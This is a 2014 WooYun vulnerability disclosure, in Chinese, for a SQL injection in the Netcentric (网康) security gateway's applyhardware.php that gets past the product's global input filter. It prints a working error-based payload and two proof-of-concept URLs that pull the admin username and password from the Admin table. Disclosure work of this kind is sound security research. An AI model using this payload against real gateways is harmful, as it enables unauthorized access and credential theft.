漏洞概要 关注数(26) 关注此漏洞
缺陷编号: WooYun-2014-77689
漏洞标题: 网康安全网关SQL注入(绕过全局防注入)
相关厂商: 网康科技
漏洞作者: secmap
提交时间: 2014-10-08 09:56
公开时间: 2015-01-06 09:58
漏洞类型: SQL注射漏洞
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 逻辑错误 php源码审核
漏洞详情
披露状态:
2014-10-08: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-11: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-02: 细节向核心白帽子及相关领域专家公开
2014-12-12: 细节向普通白帽子公开
2014-12-22: 细节向实习白帽子公开
2015-01-06: 细节向公众公开
简要描述:
网康科技经过上一次的洗礼过后,整体的安全性有了很大的提高,(拍掌...)
其全局过滤函数非常变态,研究过后,最终还是发现了一处注入,绕过了变态的全局防注入。
详细说明:
0x01 先来看看全局过滤函数
更变态的还有
当检测到有这些符号、字符 直接调用exit()推出,有点变态。
0x02 下面来说这个注入是怎样产生的
漏洞的文件为
/WebPages/applyhardware.php
部分代码
其中 $hard_user 和 $hard_pass 两个参数,经过了str_check的检查,但两个参数均是通过urldecode解码后得到的 ,加上最后进入SQL查询的语句为:
select UserId from ISCUserTable where UserName='$hard_user' and Password='$hard_pass'
于是最终想到了结合两个参数,实现注入
0x03 对该注入的利用
通过对str_check函数的分析,我们提交的参数不能含有空格、单引号、双引号、斜线、分号等,最后通过无数次的测试,有了最终的利用代码:
hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
0x04 漏洞证明
**.**.**.**//WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
**.**.**.**/WebPages/applyhardware.php?action=applyhardware&hard_user=%255C&hard_pass=%0a%0dand%0a%0d1=(updatexml(1,concat(0x5e24,(select%0a%0dconcat(adminname,0x7e,passwd)%0a%0dfrom%0a%0dAdmin%0a%0dlimit%0a%0d1),0x5e24),1))%2523
漏洞证明:
修复方案:
inject_check()函数过滤
版权声明:转载请注明来源 secmap@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:19
确认时间:2014-10-08 10:08
厂商回复:
感谢大家的支持,大家的支持是我们进步的动力。
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值